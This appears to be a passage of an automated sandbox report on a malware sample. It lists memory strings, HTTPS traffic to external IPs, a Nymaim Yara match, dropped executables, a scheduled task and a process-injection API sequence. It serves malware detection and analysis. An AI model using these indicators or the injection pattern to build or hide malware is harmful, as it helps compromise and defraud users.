Source: file.exe, 00000000.00000003.1732436496.0000000023EAF000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2490486737.0000000005D14000.00000004.00000800.00020000.00000000.sdmp, HIEBAKEHDHCAKEBFBKEGCGIEBF.0.dr	String found in binary or memory: https://www.mozilla.org/en-GB/firefox/central/gro.allizom.www.
Source: file.exe, 00000000.00000002.1812862722.000000000101C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-GB/privacy/firefox/
Source: file.exe, 00000000.00000003.1732436496.0000000023EAF000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2490486737.0000000005D14000.00000004.00000800.00020000.00000000.sdmp, HIEBAKEHDHCAKEBFBKEGCGIEBF.0.dr	String found in binary or memory: https://www.mozilla.org/en-GB/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.1812862722.000000000101C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.1732436496.0000000023EAF000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2490486737.0000000005D14000.00000004.00000800.00020000.00000000.sdmp, HIEBAKEHDHCAKEBFBKEGCGIEBF.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000002.1812862722.000000000101C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/mpression
Source: file.exe, 00000000.00000003.1732436496.0000000023EAF000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2490486737.0000000005D14000.00000004.00000800.00020000.00000000.sdmp, HIEBAKEHDHCAKEBFBKEGCGIEBF.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpgk
Source: 5467ed4ac5.exe, 00000035.00000003.2490486737.0000000005D14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom
Source: file.exe, 00000000.00000003.1732436496.0000000023EAF000.00000004.00000020.00020000.00000000.sdmp, HIEBAKEHDHCAKEBFBKEGCGIEBF.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49686 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49693
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49692
Source: unknown	Network traffic detected: HTTP traffic on port 49692 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49688
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49686
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49688 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49693 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866

Source: unknown	HTTPS traffic detected: 40.126.62.130:443 -> 192.168.11.20:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.11.20:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.11.20:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.11.20:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.11.20:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.11.20:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.11.20:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.11.20:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.11.20:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.11.20:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.11.20:49821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.11.20:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.11.20:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.11.20:49838 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.11.20:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.11.20:49844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.11.20:49846 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.11.20:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.11.20:49855 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.11.20:49880 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.11.20:49878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.11.20:49879 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.11.20:49882 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.11.20:49885 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.11.20:49889 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.11.20:49892 version: TLS 1.2

E-Banking Fraud

Yara detected Nymaim

Source: Yara match	File source: 51.3.bc330fc673.exe.4ef0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000033.00000003.2195840228.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

System Summary

Binary is likely a compiled AutoIt script file

Source: explorer.exe, 00000024.00000003.2652431228.000000000448C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_0f25c2be-b
Source: explorer.exe, 00000024.00000003.2652431228.000000000448C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_98c08f36-3

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: KKEBKJJDGH.exe.0.dr	Static PE information: section name:
Source: KKEBKJJDGH.exe.0.dr	Static PE information: section name: .idata
Source: KKEBKJJDGH.exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: skotes.exe.20.dr	Static PE information: section name:
Source: skotes.exe.20.dr	Static PE information: section name: .idata
Source: skotes.exe.20.dr	Static PE information: section name:
Source: tpZOod0[1].exe.22.dr	Static PE information: section name: TL:9@
Source: tpZOod0.exe.22.dr	Static PE information: section name: TL:9@
Source: HRFuUub[1].exe.22.dr	Static PE information: section name: TL:9@
Source: HRFuUub.exe.22.dr	Static PE information: section name: TL:9@
Source: random[1].exe.22.dr	Static PE information: section name:
Source: random[1].exe.22.dr	Static PE information: section name: .idata
Source: random[1].exe.22.dr	Static PE information: section name:
Source: bc330fc673.exe.22.dr	Static PE information: section name:
Source: bc330fc673.exe.22.dr	Static PE information: section name: .idata
Source: bc330fc673.exe.22.dr	Static PE information: section name:
Source: c8297318cd.exe.22.dr	Static PE information: section name:
Source: c8297318cd.exe.22.dr	Static PE information: section name: .idata
Source: c8297318cd.exe.22.dr	Static PE information: section name:
Source: random[1].exe0.22.dr	Static PE information: section name:
Source: random[1].exe0.22.dr	Static PE information: section name: .idata
Source: random[1].exe0.22.dr	Static PE information: section name:
Source: 5467ed4ac5.exe.22.dr	Static PE information: section name:
Source: 5467ed4ac5.exe.22.dr	Static PE information: section name: .idata
Source: 5467ed4ac5.exe.22.dr	Static PE information: section name:
Source: random[1].exe1.22.dr	Static PE information: section name:
Source: random[1].exe1.22.dr	Static PE information: section name: .idata
Source: random[1].exe1.22.dr	Static PE information: section name:
Source: e6f3e13d62.exe.22.dr	Static PE information: section name:
Source: e6f3e13d62.exe.22.dr	Static PE information: section name: .idata
Source: e6f3e13d62.exe.22.dr	Static PE information: section name:

PE file has nameless sections

Source: tpZOod0[1].exe.22.dr	Static PE information: section name:
Source: tpZOod0.exe.22.dr	Static PE information: section name:
Source: HRFuUub[1].exe.22.dr	Static PE information: section name:
Source: HRFuUub.exe.22.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process Stats: CPU usage > 6%
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe	Process Stats: CPU usage > 6%
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe	Process Stats: CPU usage > 6%

Source: C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe	Code function: 35_2_00007FF666AA1394 NtOpenEnlistment,	35_2_00007FF666AA1394
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Code function: 40_2_6C253C40 WindowsHandle,GetConsoleWindow,ShowWindow,VirtualAlloc,CreateProcessW,NtGetContextThread,NtAllocateVirtualMemory,NtAllocateVirtualMemory,NtWriteVirtualMemory,NtWriteVirtualMemory,NtWriteVirtualMemory,NtReadVirtualMemory,NtWriteVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx,NtSetContextThread,NtResumeThread,CloseHandle,CloseHandle,VirtualAlloc,NtAllocateVirtualMemory,NtWriteVirtualMemory,NtWriteVirtualMemory,CloseHandle,	40_2_6C253C40
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Code function: 40_2_6C2533F0 GetModuleHandleW,NtQueryInformationProcess,	40_2_6C2533F0

Source: C:\Users\user\Documents\KKEBKJJDGH.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA70BA0	0_2_6BA70BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BAD6BE0	0_2_6BAD6BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA4EA80	0_2_6BA4EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA88A30	0_2_6BA88A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA7EA00	0_2_6BA7EA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA4CA70	0_2_6BA4CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA609A0	0_2_6BA609A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA8A9A0	0_2_6BA8A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA909B0	0_2_6BA909B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BAEC9E0	0_2_6BAEC9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA049F0	0_2_6BA049F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA26900	0_2_6BA26900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA08960	0_2_6BA08960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BAD68E0	0_2_6BAD68E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA20820	0_2_6BA20820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA5A820	0_2_6BA5A820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BAA4840	0_2_6BAA4840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BB18FB0	0_2_6BB18FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6B9DEFB0	0_2_6B9DEFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BAAEFF0	0_2_6BAAEFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6B9D0FE0	0_2_6B9D0FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6B9D6F10	0_2_6B9D6F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BB10F20	0_2_6BB10F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA92F70	0_2_6BA92F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA3EF40	0_2_6BA3EF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA56E90	0_2_6BA56E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6B9DAEC0	0_2_6B9DAEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA70EC0	0_2_6BA70EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BAB0E20	0_2_6BAB0E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA6EE70	0_2_6BA6EE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6B9D4DB0	0_2_6B9D4DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA66D90	0_2_6BA66D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BB5CDC0	0_2_6BB5CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BB58D20	0_2_6BB58D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA9ED70	0_2_6BA9ED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BAFAD50	0_2_6BAFAD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6B9CECC0	0_2_6B9CECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA2ECD0	0_2_6BA2ECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BAAAC30	0_2_6BAAAC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA96C00	0_2_6BA96C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6B9DAC60	0_2_6B9DAC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA023A0	0_2_6BA023A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA2E3B0	0_2_6BA2E3B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA243E0	0_2_6BA243E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA42320	0_2_6BA42320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BB12370	0_2_6BB12370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BAEC360	0_2_6BAEC360
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA66370	0_2_6BA66370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6B9D8340	0_2_6B9D8340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6B9D2370	0_2_6B9D2370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BAA22A0	0_2_6BAA22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA9E2B0	0_2_6BA9E2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BB562C0	0_2_6BB562C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BAA8220	0_2_6BAA8220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA9A210	0_2_6BA9A210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA58260	0_2_6BA58260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA68250	0_2_6BA68250
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6B9D01E0	0_2_6B9D01E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA46130	0_2_6BA46130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BAB4130	0_2_6BAB4130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA38140	0_2_6BA38140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6B9C8090	0_2_6B9C8090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BAAC0B0	0_2_6BAAC0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6B9E00B0	0_2_6B9E00B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA9C000	0_2_6BA9C000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA98010	0_2_6BA98010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA1E070	0_2_6BA1E070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6B9FA7D0	0_2_6B9FA7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA50700	0_2_6BA50700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA2E6E0	0_2_6BA2E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA6E6E0	0_2_6BA6E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6B9F46D0	0_2_6B9F46D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA2C650	0_2_6BA2C650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6B9C45B0	0_2_6B9C45B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA9A5E0	0_2_6BA9A5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA5E5F0	0_2_6BA5E5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA32560	0_2_6BA32560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA70570	0_2_6BA70570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BB18550	0_2_6BB18550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA28540	0_2_6BA28540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BAD4540	0_2_6BAD4540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BAFA480	0_2_6BAFA480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA164D0	0_2_6BA164D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA6A4D0	0_2_6BA6A4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA34420	0_2_6BA34420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA5A430	0_2_6BA5A430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6B9E8460	0_2_6B9E8460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA29BA0	0_2_6BA29BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA99BB0	0_2_6BA99BB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6B9C1B80	0_2_6B9C1B80
